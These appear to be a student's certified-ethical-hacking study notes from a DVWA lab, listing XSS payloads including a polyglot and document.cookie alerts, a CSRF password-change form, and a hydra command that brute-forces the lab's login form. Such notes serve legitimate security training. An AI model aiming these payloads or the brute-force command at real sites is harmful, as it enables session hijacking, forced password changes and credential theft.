**CEH Notes Day-14 (29/12/2019)**

Cross site Scripting (XSS):

<script>alert("sss is xss")</script>

<img src=x onerror=alert("Its me again")></img>

<https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot>

<http://www.jsfuck.com/> - JSFuck is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to execute code.

<https://xss-game.appspot.com/>

<https://www.woodlandworldwide.com/>

<script>alert("sss")</script>

XSS Stores - Upload img using changing max length term in browser.

<script>alert(document.cookie);</script>

security=low; PHPSESSID=e3d7cb60a137555213a685ed19c83900

Always Unique to each user

Cookie Stealer

cross site scripting

<script>alert("amreet loves xss")</script>

<img src=x onerror=alert("gotcha!")></img>

jaVasCript:/\*-/\*`/\*\`/\*'/\*"/\*\*/(/\* \*/oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

jaVasCript:/\*-/\*`/\*\`/\*'/\*"/\*\*/(/\* \*/oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

<script>alert("amreet")</script>

<img src=https://img1.looper.com/img/gallery/new-batman-theory-is-taking-the-internet-for-a-spin/intro-1573506972.jpg></img>

<script>alert(document.cookie);</script>

Cross-Site Request Forgery (CSRF):

<form action="http://192.168.0.124/dvwa/vulnerabilities/csrf/" method="GET"> New password:<br>

<input type="password" AUTOCOMPLETE="on" name="password\_new" value="abc"><br>

Confirm new password: <br>

<input type="password" AUTOCOMPLETE="on" name="password\_conf" value="abc">

<br>

<input type="submit" value="Change" name="Change">

</form>

CORS - Cross-origin resource sharing

SOP - Same origin Policy

<https://www.youtube.com/watch?v=-UMcCwfvEEY>

anti csrf token

<https://pentester.land/>

web-hacking-101.pdf

web application hacker's handbook 2nd edition - <http://index-of.es/EBooks/11_TheWeb%20Application%20Hackers%20Handbook.pdf>

Brute force on web forms(using hydra):

hydra -v -V -s 80 -L /root/Desktop/dictionary.txt -P /root/Desktop/dictionary.txt 192.168.0.124 http-get-form "/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:incorrect:H=Cookie: security=low; PHPSESSID=18c5fd705d67c0611c9749b3bc9cb95f"